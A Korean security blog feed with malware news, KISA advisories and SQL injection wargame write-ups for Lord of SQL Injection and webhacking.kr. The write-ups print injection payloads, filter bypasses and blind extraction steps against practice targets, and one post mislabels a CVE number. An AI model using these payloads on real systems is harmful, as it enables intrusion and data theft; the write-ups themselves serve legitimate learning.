태군 코드 : Security, travel & communication

GoBruteforcer: 무차별 대입 공격을 통해 웹 서버를 침해하는 새로운 Golang 기반 맬웨어

태군 코드 — Mon, 27 Mar 2023 15:20:09 +0900

GoBruteforcer 라고 불리는 새로운 Golang 기반 멀웨어가 phpMyAdmin, MySQL, FTP 및 Postgres를 실행하는 웹 서버를 대상으로 장치를 봇넷으로 몰아넣는 것으로 발견되었습니다.

Palo Alto Networks Unit 42의 연구원들은 "GoBruteforcer는 공격 중에 네트워크를 스캔하기 위해 CIDR (Classless Inter-Domain Routing) 블록을 선택했으며 해당 CIDR 범위 내의 모든 IP 주소를 표적으로 삼았습니다." 라고 밝혔습니다 .

"공격자는 단일 IP 주소를 대상으로 사용하는 대신 네트워크 내의 서로 다른 IP에 있는 광범위한 대상 호스트에 액세스하는 방법으로 CIDR 블록 스캐닝을 선택했습니다."

GoBruteforcer는 주로 x86, x64 및 ARM 아키텍처를 실행하는 Unix와 유사한 플랫폼을 선별하도록 설계되었으며 악성코드는 바이너리에 하드 코딩된 자격 증명 목록을 사용하여 무차별 대입 공격을 통해 액세스를 시도합니다

공격이 성공하면 IRC (Internet Relay Chat ) 봇이 피해자 서버에 배치되어 행위자가 제어하는 서버와의 통신을 설정합니다.

GoBruteforcer는 또한 피해자 서버에 이미 설치된 PHP 웹 셸을 활용하여 대상 네트워크에 대한 자세한 정보를 수집합니다.

출처

https://thehackernews.com/2023/03/gobruteforcer-new-golang-based-malware.html

GoBruteforcer: New Golang-Based Malware Breaches Web Servers via Brute-Force Attacks

GoBruteforcer has been found targeting web servers running phpMyAdmin, MySQL, FTP, and Postgres to corral the devices into a botnet.

thehackernews.com

[LOS] Lord of the SQL Injection - orge

태군 코드 — Mon, 27 Feb 2023 19:00:58 +0900

허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

Lord of the SQL Injection - orge

preg_match : porb _ . ( ) 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "No Hack ~_~" 문구를 출력합니다.

preg_match : or, and 문자가 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "HeHe" 문구를 출력합니다.

or 문자는 || (%7c%7c) 문자로 우회 가능

and 문자는 &&(%26%26) 문자로 우회 가능

addslashes() 함수 : 이스케이프해야 하는 문자 앞에 백슬래시가(\) 추가된 문자열을 반환합니다. 이러한 문자는 다음과 같습니다.

작은따옴표( ')
큰따옴표( ")
백슬래시( \)
NUL(NUL 바이트)

$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";

해당 문제는 'admin'의 패스워드를 알아내는 문제입니다.

bWAPP DB 와 같이 비교하면서 문제를 살펴보도록 하겠습니다.

bWAPP DB

1. bWAPP DB의 'users' 테이블의 컬럼 이름 출력

2. 'users' 테이블의 'login', 'password' 컬럼의 정보 확인

3. length 함수를 이용하여 'bee' 계정의 패스워드 길이 확인

해당 문제에서도 length 함수를 이용하여 패스워드 길이 추측이 가능하지만 패스워드 길이가 길어지면 그만 큼 시간이 오래 소요되기 때문에 앞에서 만들어 두었던 파이썬 코드를 이용하여 확인해 보도록 하겠습니다.

pw=' || id='admin' && length(pw)=1#

pw=' || id='admin' && length(pw)=2#

pw=' || id='admin' && length(pw)=3#

파이썬 코드를 이용한 패스워드 길이 확인

'admin' 의 패스워드 길이는 8자리 인 것을 확인하였습니다.

4. substr 함수를 이용하여 패스워드 확인

bWAPP DB

bWAPP DB에서 substr 함수를 이용하여 'bee' 계정의 패스워드 첫 번째 자리와 두 번째 자리를 확인하였습니다.

파이썬 코드를 이용한 패스워드 확인

전체 소스 코드

pw에 확인된 패스워드 값을 입력해 주면 문제를 풀 수 있습니다.

[LOS] Lord of the SQL Injection - darkelf

태군 코드 — Mon, 27 Feb 2023 12:15:57 +0900

Lord of the SQL Injection - darkelf

Lord of the SQL Injection - darkelf

preg_match : porb _ . ( ) 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "No Hack ~_~" 문구를 출력합니다.

preg_match : or, and 문자가 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "HeHe" 문구를 출력합니다.

해당 문제도 앞의 문제와 마찬가지로 id값에 'admin'이 있는지 확인하면 간단히 풀리는 문제입니다. 하지만 앞의 문제와는 다르게 or, and 문자열을 필터링하고 있으므로 해당 문자열을 대신할 다른 문자열로 우회를 해주어야 합니다.

bWAPP DB를 통한 예시

bWAPP DB

bWAPP의 DB를 통하여 먼저 설명을 드리도록 하겠습니다.

select login from users;
- bWAPP DB의 users 테이블의 login 컬럼을 출력하였습니다.

and 문자열 대신 && 문자열을 사용

or 문자열 대신 || 문자열을 사용

Lord of the SQL Injection - darkelf 문제에서도 마찬가지로 and 문자열 대신 && 문자열을 사용하였고, or 문자열 대신 || 문자열을 사용하였습니다.

Fortinet FortiNAC (CVE-2022-39952)

태군 코드 — Wed, 22 Feb 2023 14:23:35 +0900

CVE-ID
CVE-2022-42889

개요

CVE-2022-39952는 Fortinet의 네트워크 접근 제어 솔루션인 FortiNAC의 웹 서버에 있는 파일 이름 또는 경로에 대한 외부 제어 취약점입니다. 인증되지 않은 공격자가 이를 악용하여 취약한 시스템에 임의 쓰기를 수행할 수 있습니다.
Horizon3.ai의 공격 팀은 이미 악용에 대해 자세히 설명하는 PoC와 블로그 게시물을 발표했습니다.

참조

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39952
https://www.fortiguard.com/psirt/FG-IR-22-300
https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/

보안공지 : 최근 해킹 공격에 활용되는 취약점 보안 업데이트 권고

태군 코드 — Wed, 22 Feb 2023 10:56:18 +0900

□ 개요
o 최근 기업에서 운영 중인 서버의 취약점을 악용한 해킹 툴 제작 및 공격이 활발히 발생하고있어, 기업 담당자들의 철저한 사전 보안 점검 및 대비 필요
o 취약한 버전의 소프트웨어, 서버를 사용하는 기업 및 사용자는 최신버전으로 업데이트 권고

□ 최근 악용되고있는 주요 취약점
ㅇ Apache APISIX에서 발생하는 인증 우회 취약점(CVE-2021-45232)[1]
ㅇ Apache HTTP Server에서 경로 탐색(Path Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-42013)[2]
ㅇ Apache HTTP Server에서 경로 탐색(Path Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-41773)[3]
ㅇ Apache OFBiz에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점(CVE-2020-9496)[4]
ㅇ Apache OFBiz에서 발생하는 역직렬화 취약점(CVE-2021-26295)[5]
ㅇ Apache Struts에서 발생하는 원격코드 실행 취약점(CVE-2020-17530)[6]
ㅇ Apache Struts에서 사용자 입력값 검증 미흡으로 발생하는 원격 코드 실행 취약점(CVE-2021-31805)[7]
ㅇ Apache Tomcat이 AJP request 메시지를 처리할 때, 메시지에 대한 처리가 미흡하여 발생하는 원격코드실행 취약점(CVE-2020-1938)[8]
ㅇ Apache Log4j에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[9]
ㅇ Atlassian Confluence Server 및 Data Center에서 OGNL 인젝션으로 인해 발생하는 원격코드실행 취약점(CVE-2021-26084)[10]
ㅇ BIG-IP에서 iControl REST 인증 미흡으로 인해 발생하는 불충분한 인가 취약점(CVE-2022-1388)[11]
ㅇ BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 코드 실행 취약점(CVE-2021-22986)[12]
ㅇ Grafana 소프트웨어에서 경로탐색(Directory Traversal)으로 인해 발생하는 정보노출 취약점(CVE-2021-43798)[13]
ㅇ Inspur ClusterEngine V4.0에서 발생하는 원격 코드 실행 취약점(CVE-2020-21224)[14]
ㅇ Oracle WebLogic Server에서 발생하는 원격 코드 실행 취약점(CVE-2021-2109)[15]
ㅇ SMBv3 프로토콜이 조작된 패킷을 처리할 때 버퍼오버플로우로 인해 발생하는 원격코드실행 취약점(CVE-2020-0796)[16]
ㅇ Spring Cloud Gateway에서 발생하는 원격코드 실행 취약점(CVE-2022-22947)[17]
ㅇ Spring Core에서 발생하는 원격코드실행 취약점(CVE-2022-22965)[18]
ㅇ Spring Cloud Function에서 발생하는 원격코드실행 취약점(CVE-2022-22963)[18]
ㅇ VMware vCenter Server 원격 코드 실행 취약점(CVE-2021-21972)[19]
ㅇ VMware vCenter Server 에서 발생하는 파일 업로드 취약점(CVE-2021-22005)[20]
ㅇ VMware Workspace ONE Access와 Identity Manager에서 발생하는 원격 코드 실행 취약점(CVE-2022-22954)[21]
ㅇ WebLogic Server에서 안전하지 않은 역직렬화로 인해 발생하는 인증 우회 및 원격코드 실행 취약점(CVE-2019-2725)[22]
ㅇ WSO2에서 발생하는 원격코드 실행 취약점(CVE-2022-29464)[23]

□ 해결 방안
o 취약점별 참고사이트[1]~[23]에 명시되어 있는 내용을 참조하여 업데이트 수행

[참고사이트]
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45232
[2] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36279
[3] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36277
[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9496
[5] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26295
[6] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530
[7] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66650
[8] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35292
[9] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
[10] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36221
[11] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66689
[12] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35935
[13] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36386
[14] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21224
[15] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35875
[16] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35297
[17] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947
[18] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592
[19] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925
[20] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36255
[21] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66633
[22] https://boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35016
[23] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29464

VMware ESXi 서버를 노리는 대규모 랜섬웨어 공격

태군 코드 — Fri, 10 Feb 2023 14:48:50 +0900

ESXi Args 랜섬웨어 발발로 1,000대 이상의 서버에 영향

2월 3일, CERT-FR 은 ESXi Args 랜섬웨어를 배포하기 위해 VMware ESXi 서버를 대상으로 하는 랜섬웨어 공격에 대해 사용자에게 경고 했습니다. 이 보고서는 또한 TA(Threat Actors)가 CVE-2021-21974 로 추적된 2년 된 취약점을 활용한다고 밝혔 습니다. VMware에 따르면 ESXi70U1c-17325551 이전의 ESXi 버전 7.0, ESXi670-202102401-SG 이전의 6.7 및 ESXi650-202102101-SG 이전의 6.5에는 OpenSLP의 힙 오버플로우 취약점이 포함되어 있습니다. 포트 427에 액세스할 수 있는 ESXi 시스템과 동일한 네트워크에 있는 TA는 이 취약점을 악용하여 원격으로 코드를 실행할 수 있습니다.

온라인 스캐너는 또한 랜섬웨어 감염이 널리 퍼져 있으며 전 세계적으로 1000개에 가까운 서버를 감염시켰음을 보여줍니다. 이 랜섬웨어는 아래와 같이 대부분 프랑스에 영향을 미쳤으며 미국과 독일이 그 뒤를 이었습니다.

이 랜섬웨어 공격과 관련된 샘플에는 암호화를 담당하는 "encrypt.sh" 및 "encrypt"라는 두 개의 파일이 포함되어 있습니다. "encrypt.sh"는 암호화 프로세스를 시작하기 전에 여러 작업을 수행하고 "encrypt" ELF 실행 파일을 실행하여 파일을 암호화하는 쉘 스크립트입니다.

기술적 분석
셸 스크립트는 구성 파일 수정, 파일 암호화, 랜섬웨어 메모에 대한 지속성 설정, ESXi 서버에서 맬웨어 제거와 같은 다양한 작업을 수행합니다. 이 블로그는 셸 스크립트와 랜섬웨어 페이로드에 대한 기술적 통찰력을 제공합니다.

구성 파일 수정
Shell 스크립트는 먼저 " esxcli vm process list" 명령 을 사용하여 ESXi 서버에서 실행 중인 가상 머신의 구성 파일을 식별하고 가상 디스크 및 스왑 파일에 대한 경로를 수정합니다. 악성코드는 '.vmdk'를 '1.vmdk'로, '.vswp'를 '1.vswp'로 교체합니다. 구성 파일에서 파일 이름을 변경하여 랜섬웨어는 피해자가 암호화 후 원본 데이터를 찾고 복원하기 어렵게 만듭니다. 구성 파일을 변경한 후 셸 스크립트는 " kill -9 $(ps | grep vmx | awk '{print $2}') " 명령을 사용하여 ESXi 서버에서 .VMX 파일을 종료합니다.

파일 암호화
이제 악성 스크립트는 파일을 완전히 제어하여 암호화 프로세스를 시작합니다. 첫째, ESXi 서버에 있는 볼륨을 반복하고 ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp"를 포함한 특정 확장자를 가진 파일을 검색합니다 . , ".vmss", ".nvram" 및 ".vmem" 이 발견된 볼륨에 있습니다.

그런 다음 스크립트는 파일 크기를 계산하고 인수 파일 " public.pem "과 함께 Linux 바이너리 실행 파일 "encrypt"를 사용하여 파일을 암호화합니다 . “ public.pem ” 파일은 랜섬웨어가 파일 암호화에 사용할 키를 암호화하는 데 사용하는 RSA 공개 키입니다.

침해 지표(IOC)

10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459

11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66

참조https://blog.cyble.com/2023/02/06/massive-ransomware-attack-targets-vmware-esxi-servers/

보안공지 : 랜섬웨어를 유포하는 VMware ESXi 취약점 주의 권고

태군 코드 — Fri, 10 Feb 2023 14:40:01 +0900

□ 개요
o 최근 VMware ESXi 취약점을 이용하여 랜섬웨어가 유포되고 있으므로 기업 담당자들의 철저한 사전 보안 점검 및 대비 필요[1]
o 취약한 버전을 사용하는 VMware ESXi 제품 사용자는 최신버전으로 업데이트 권고

□ 설명
o VMware ESXi의 OpenSLP에서 발생하는 원격코드실행 취약점(CVE-2021-21974) [2]

□ 해결 방안
o 참고사이트[2]에 명시되어 있는 ‘Reference’ 내용을 참고하여 패치 적용
o 업데이트 즉시 적용이 어려운 제품 사용자는 참고사이트[3]를 확인하여 취약한 SLP 서비스에 대해 사용하지 않도록 설정

□ 기타 문의사항
o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]
[1] https://www.cert.ssi.gouv.fr/alerte/CERTFR-2023-ALE-015/
[2] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
[3] https://kb.vmware.com/s/article/76372

챗 GPT (Chat GPT)

태군 코드 — Fri, 10 Feb 2023 14:34:48 +0900

아마 IT를 하시는 분들 이나 관심이 있으신 분들은 이미 Chat GPT에 대해서 알고 계셨을지 모르지만, 아직 Chat GPT에 대해서 모르시는 분들을 위해 간단하게 소개를 하도록 하겠습니다.

ChatGPT는 OpenAI가 개발한 대화형 인공지능 챗봇 입니다.

GPT의 원리는 언어의 구조와 패턴을 포착할 수 있는 강력한 아키텍처와 대량의 사전 학습 데이터를 활용하여 인간과 유사한 텍스트를 생성하는 딥 러닝 기술을 사용하는 것입니다.

ChatGPT는 프롬프트를 통하여 질문을 하면 그에 대한 답을 해줍니다.

OpenAI에서 개발한 언어 모델인 ChatGPT는 다음을 포함하되 이에 국한되지 않는 여러 언어 관련 작업을 수행할 수 있습니다.

텍스트 기반 대화: ChatGPT는 훈련 데이터를 기반으로 사용자와 대화하고 질문에 최대한 답변하도록 설계되었습니다.
텍스트 완성: ChatGPT는 주어진 텍스트 프롬프트의 가장 가능성 있는 연속을 예측하여 문장, 단락 또는 전체 이야기를 완성할 수 있습니다.
텍스트 요약: ChatGPT는 가장 중요한 정보를 유지하면서 긴 텍스트를 더 짧고 간결한 버전으로 요약할 수 있습니다.
질문 답변: ChatGPT는 방대한 양의 텍스트에 대한 교육을 받았으며 역사, 과학, 시사 등 다양한 주제에 대한 질문에 답할 수 있습니다.
텍스트 분류: ChatGPT는 텍스트를 내용에 따라 사전 정의된 범주 또는 클래스로 분류할 수 있습니다.
텍스트 생성: ChatGPT는 시, 소설 또는 코딩과 같은 새로운 텍스트를 처음부터 생성할 수 있습니다.
번역: ChatGPT는 텍스트를 한 언어에서 다른 언어로 번역할 수 있습니다.

ChatGPT는 완벽하지 않으며 때때로 답변이 부정확하거나 불완전할 수 있습니다. 그럼에도 불구하고 다양한 주제에 대해 교육을 받았으며 많은 주제에 대한 유용한 정보와 통찰력을 제공할 수 있습니다.

https://openai.com/blog/chatgpt/

ChatGPT: Optimizing Language Models for Dialogue

We’ve trained a model called ChatGPT which interacts in a conversational way. The dialogue format makes it possible for ChatGPT to answer followup questions, admit its mistakes, challenge incorrect premises, and reject inappropriate requests. ChatGPT is

openai.com

https://openai.com/blog/chatgpt/

해당 사이트에 접속후 "TRY CHATGPT"를 눌러 회원 가입후 로그인을 해줍니다.

로그인 화면

회원 가입후 로그인을 하면 위처럼 보이는데, 빨간색 네모친 프롬프트안에 본인이 원하는 질문을 넣어 줍니다.

SQL Injection 취약점과 그에 대한 대응 방안을 질의

SQL Injection 취약점과 대응 방법에 대해 질의를 했더니 위처럼 Chat GPT를 통하여 답변을 받을수 있습니다.

다음은 python으로 간단한 계산기를 만들어 달라고 질의를 하여 답을 얻은 모습 입니다.

Chat GPT를 통하여 출력 된 코드를 실행 시켜 보았습니다.

이처럼 Chat GPT를 통하여 다양하고 편리하게 활용할수도 있지만 한편으로는 Chat GPT를 비합리적으로 사용하거나 공격자 입장에서 챗GPT를 악용해 새로운 사이버 보안 위협에 활용할 수 있다는 생각이 듭니다.

보안공지 : MS Exchange Server 2013 기술 지원 종료 대비 보안 권고

태군 코드 — Tue, 17 Jan 2023 14:32:53 +0900

□ 개요
   o MS社는 2023년 4월 11일자로 MS Exchage Server 2013 제품의 기술 지원 종료
   o MS Exchage Server 2013 제품의 기술 지원이 종료되면 신규 보안 취약점 및 오류에 대한 보안 업데이트를 제공하지 않으므로 Microsoft 365 등 최신 서비스로 업그레이드 및 교체를 권고

□ 기술 지원 종료 대상
   o MS Exchage Server 2013

□ 대응 방안
   o 기술 지원이 종료되는 제품 이용자는 보안업데이트가 제공되는 최신 제품으로 업그레이드 하거나 대체 MS Exchage Server 버전으로 교체하는 것을 권고
     - Microsoft 365 최신 제품으로 업그레이드 권고
     - 대체 MS Exchage Server* 사용 희망 시 참고사이트을 통해 보안 업데이트 지원이 가능한 버전으로 교체
       ※ MS Exchage Server 대체 시 지원종료일 참고하여 업그레이드 진행
       ※ MS Exchange Server 2019의 경우 일반종료 날짜는 '24년 1월 9일이며 연장 종료 날짜는 '25년 10월 14일임[2]

[참고사이트]
[1] https://learn.microsoft.com/en-us/microsoft-365/enterprise/exchange-2013-end-of-support?view=o365-worldwide#how-should-i-migrate-to-microsoft-365
[2] https://learn.microsoft.com/ko-kr/lifecycle/products/exchange-server-2019
[3] https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=67113

[Wargame] Webhacking.kr old-02 문제

태군 코드 — Tue, 10 Jan 2023 16:58:50 +0900

https://webhacking.kr/challenge/web-02/

webhacking.kr의 2번 문제를 살펴보면 제한된 영역, IP를 기록하고 있다는 메시지를 확인할 수 있습니다. 해당 문제의 단서를 찾기 위해 한번 살펴보도록 하겠습니다.

개발자 도구를 통한 확인

첫 번째 단서 - 주석 처리되어 있는 시간값이 현재 시간으로 표시

두 번째 단서 - admin.php

쿠키값 확인

쿠키값 확인 시 PHPSESSID, time 값을 확인할 수 있으며, 여기서 특이한 점은 time 값이 숫자로 표시되어 있다는 점을 알 수 있습니다. (타임스탬프의 유닉스 값으로 표시되고 있음)

타임스탬프(timestamp) 또는 시간 표기는 특정한 시각을 나타내거나 기록하는 문자열입니다.

타임스탬프의 예:
Tue 01-01-2009 6:00
2005-10-30 T 10:45 UTC
2007-11-09 T 11:20 UTC
Sat Jul 23 02:16:57 2005
1256953732 (유닉스 시간)
(1969-07-21 T 02:56 UTC) –
07:38, 11 December 2012 (UTC)

https://www.epochconverter.com/

타임스탬프 변환사이트를 통해 확인해 보면 주석처리되어 있던 시간 부분과 일치 하는것을 알 수 있습니다.

첫 번째 단서는 유닉스에서 사용되는 타임스탬프 값인 것을 확인하였습니다. 그럼 두 번째 단서인 admin.php를 확인해 보겠습니다.

admin.php

admin.php 페이지를 확인해 보면 패스워드를 입력하라는 메시지와 제출 버튼이 보입니다. 여기서 SQL Injection 공격을 시도해 보았지만 패스워드를 잘못 입력하였다는 알림 창을 확인할 수 있었습니다.

LOS 문제에서 보았던 소스코드중 해당 부분을 통하여 패스워드를 검증하고 있는 것 같습니다.

if(($result['pw']) && ($result['pw'] == $_GET['pw']))

그럼 이제 우리는 패스워드를 찾아야 하기 때문에 첫 번째 단서인 쿠키값을 확인해 보도록 하겠습니다.

and 1=1

time 쿠키값 뒤에 and 1=1를 입력하였더니 시간 값이 바뀐 것을 확인할 수 있었습니다.

and 1=0

time 쿠키값 뒤에 and 1=0를 입력하였더니 시간 값이 바뀐것을 확인할 수 있었습니다.

참 : 2070-01-01 09:00:01

거짓 : 2070-01-01 09:00:00

여기서 참인 값과 거짓값을 입력하였을때 반환되는 값이 다르므로 해당 값을 통하여 blind sql injection이 가능할 수도 있다고 추측할 수 있습니다. 그럼 blind sql injection 공격을 시도해 보겠습니다.

첫 번째로 DB의 길이를 알아내야 합니다.

bWAPP DB 예시

bWAPP DB를 통해 먼저 예시로 들어 보면 bWAPP의 DB 이름은 bwapp인 것을 확인하였고, length(database())=1; 쿼리를 통하여 DB의 길이가 1인지 쿼리를 하면 0 (거짓) 반환되고, length(database())=5; 쿼리를 통하여 DB의 길이가 5인지 쿼리 하였을 때는 1(참)을 반환하는 것을 확인할 수 있습니다.

여기서는 DB의 이름을 알아내야 하기 때문에, 데이터베이스의 길이가 몇글자인지 먼저 확인을 먼저 해보도록 하겠습니다.

and length(database())=1

and length(database())=2

and length(database())=3

...

이렇게 값을 올리면서 확인을 할수도 있지만 길이가 길어지면 그만큼 시간도 오래 걸리므로 LOS에서 만들어 두었던 파이썬 코드를 활용해 보도록 하겠습니다. 사실 코드를 짜는 방법은 여러 가지 방법들이 있습니다. 여기에 나와 있는 코드는 정답은 아니며 더 정교하고 간단히 짤 수 있는 점 참고해 주시기 바랍니다.

DB 길이 확인 (DB Length 6글자)

파이썬 코드

코드에 대한 설명은 [LOS] Lord of the SQL Injection - orc 해당 글을 참고해 주시기 바랍니다.

두번째 DB의 이름 확인

bWAPP DB 예시

bWAPP DB를 예시로 DB의 첫 번째 글자가 "a"인지, "b"인지 쿼리를 하였을 때의 값입니다.

DB 이름 확인 (DB Name chall2)

파이썬 코드

세번째 DB의 테이블 이름 확인

bWAPP DB 예시

bwapp DB의 테이블 항목

bWAPP DB 예시

bwapp DB의 테이블 중 첫 번째 테이블 이름이 "a"로 시작하는지 "b"로 시작하는지 확인

chall2 DB의 테이블 확인

admin_area_pw, log 테이블 확인

파이썬 코드

네번째 DB 테이블의 컬럼 확인

bWAPP 예시

bWAPP DB의 users 테이블의 첫 번째 컬럼값이 "a"인지 "i"인지 확인

chall2 DB admin_area_pw 테이블의 컬럼 확인

pw 컬럼 확인

다섯 번째 정보 확인

bWAPP DB 예시

bWAPP DB의 users 테이블의 login, password 컬럼을 확인하였고, substr을 통하여 password 컬럼의 첫 번째 글자가 무엇인지 확인

chall2 DB admin_area_pw 테이블의 pw컬럼의 정보 확인

kudos_to_beistlab 확인

파이썬 코드

참고

https://ko.wikipedia.org/wiki/%ED%83%80%EC%9E%84%EC%8A%A4%ED%83%AC%ED%94%84

[KISA] 공동주택 홈네트워크 시스템 보안관리 안내서

태군 코드 — Fri, 6 Jan 2023 09:47:31 +0900

공동주택 홈네트워크 시스템 보안관리 안내서

공동주택 홈네트워크 시스템 보안관리 안내서.pdf

8.56MB

Ⅰ. 개요
1. 배경
2. 안내서 목적 및 구성

Ⅱ. 홈네트워크 시스템 보안점검 항목

1. 네트워크 및 보안장비
2. 서버
3. 관리PC

Ⅲ. 주요 시스템 보안설정 및 점검 절차
1. 네트워크 및 보안장비
2. 서버

Ⅳ. 관리PC 보안설정 및 점검 절차
1. 계정 관리 및 보안설정
2. 불필요한 서비스 비활성화
3. 운영체제 최신 보안 업데이트
4. 악성코드 탐지 예방 활동

Ⅴ. 주요 시스템 및 관리PC 점검표

참고

https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=67099&queryString=YnVsbGV0aW5fd3JpdGluZ19zZXF1ZW5jZT02NzA5OQ==

보안공지 : MS 윈도우 8.1 기술지원 종료 관련 보안 권고

태군 코드 — Fri, 6 Jan 2023 09:29:49 +0900

□ 개요
o MS社는 2023년 1월 10일자로 Windows 8.1 제품의 기술지원이 종료 [1]
o 윈도우 운영체제의 기술지원이 종료되면 신규 보안 취약점 및 오류에 대한 보안 업데이트를 제공하지 않으므로 최신 운영체제로 업그레이드 및 교체를 권고

□ 기술지원 종료 대상
o (2023년 1월 10일 종료예정) Windows 8.1

□ 대응 방안
o 기술지원이 종료되는 제품 이용자는 보안업데이트가 제공되는 최신 윈도우 제품으로 업그레이드하거나 최신버전의 대체 운영체제로 교체하는 것을 권고
- 윈도우 제품은 Windows 11 이상의 최신버전 업그레이드
- 대체 운영체제 사용 희망 시 참고사이트[2][3][4][5][6][7][8]을 통해 최신버전으로 교체

□ 문의사항
o Microsoft 고객센터 : 1577-9700
o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]
[1] https://support.microsoft.com/ko-kr/windows/windows-8-1-%EC%A7%80%EC%9B%90%EC%9D%80-2023%EB%85%84-1%EC%9B%94-10%EC%9D%BC%EC%97%90-%EC%A2%85%EB%A3%8C%EB%90%A9%EB%8B%88%EB%8B%A4-3cfd4cde-f611-496a-8057-923fba401e93
[2] https://redhat.com/ko
[3] https://centos.org
[4] https://getfedora.org
[5] https://tizen.org
[6] https://ubuntu.com
[7] https://hamonikr.org
[8] https://linuxmint.com

[9] https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=67102

[LOS] Lord of the SQL Injection - wolfman

태군 코드 — Thu, 5 Jan 2023 13:55:49 +0900

허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

조금 더 구체적인 내용들은 [LOS] Lord of the SQL Injection - gremlin 문제를 풀면서 작성해 두었고, 빠진 부분이나 필요한 부분들에 대해서는 조금씩 추가하면서 작성하도록 하겠습니다.

Lord of the SQL Injection - wolfman

Lord of the SQL Injection - wolfman

preg_match : porb _ . ( ) 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "No Hack ~_~" 문구를 출력합니다.

preg_match : 공백문자가 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "No whitespace ~_~" 문구를 출력합니다.

해당 문제는 쿼리를 이용하여 id값에 "admin"이 존재하는지 확인하면 간단히 풀리는 문제입니다. 하지만 기존 문제와는 다르게 공백문자를 필터링하고 있어 스페이스바를 입력할 경우 "No whitespace ~_~" 문구를 출력합니다.

SQL Injection 공격에서는 공백 문자를 우회하는 방법은 여러가지가 있습니다.

공백 문자를 우회할수 있는 ASCII 코드표

참고 ASCII

해당 문제는 bWAPP를 통하여 예시로 들어주는 부분과 ASCII코드표를 참조하여 직접 한번 풀어 보시기를 추천드립니다.

bWAPP DB

bWAPP의 DB를 통하여 먼저 설명을 드리도록 하겠습니다.

select login from users;

- bWAPP DB의 users 테이블의 login 컬럼을 출력하였습니다.

select login from users where login='bee' and password='' or login='test01';

- bWAPP DB의 users 테이블의 login 컬럼에서 login='bee'이고 password='' 이거나 login='test01'을 출력,

즉 위의 조건의 쿼리는 다름의 쿼리문과 같다고 생각하시면 됩니다. select login from users where login='test01';

저는 /**/ 주석 처리 부분을 이용하여 공백을 우회하였습니다. 여기서 보시면 URL에 값 입력 시 인코딩 되어

16진수 27 = ' , 23 = # 으로 표시가 되는 것을 알 수 있습니다. 해당 부분과 위의 "참고 ASCII" 표의 내용을 확인하여 다른 방법으로 풀어 보시기를 추천드립니다.

참고

https://ko.wikipedia.org/wiki/ASCII

[LOS] Lord of the SQL Injection - orc

태군 코드 — Wed, 4 Jan 2023 17:06:33 +0900

조금 더 구체적인 내용들은 [LOS] Lord of the SQL Injection - gremlin 문제를 풀면서 작성해 두었고, 빠진 부분이나 필요한 부분들에 대해서는 조금씩 추가하면서 작성하도록 하겠습니다.

Lord of the SQL Injection - orc

[LOS] Lord of the SQL Injection - orc

preg_match : porb _ . ( ) 필터링이 되어 있고 i 옵션을 통하여 대소문자를 구분하지 않음 pw='필터링값'이 있을 경우 "No Hack ~_~" 문구를 출력합니다.

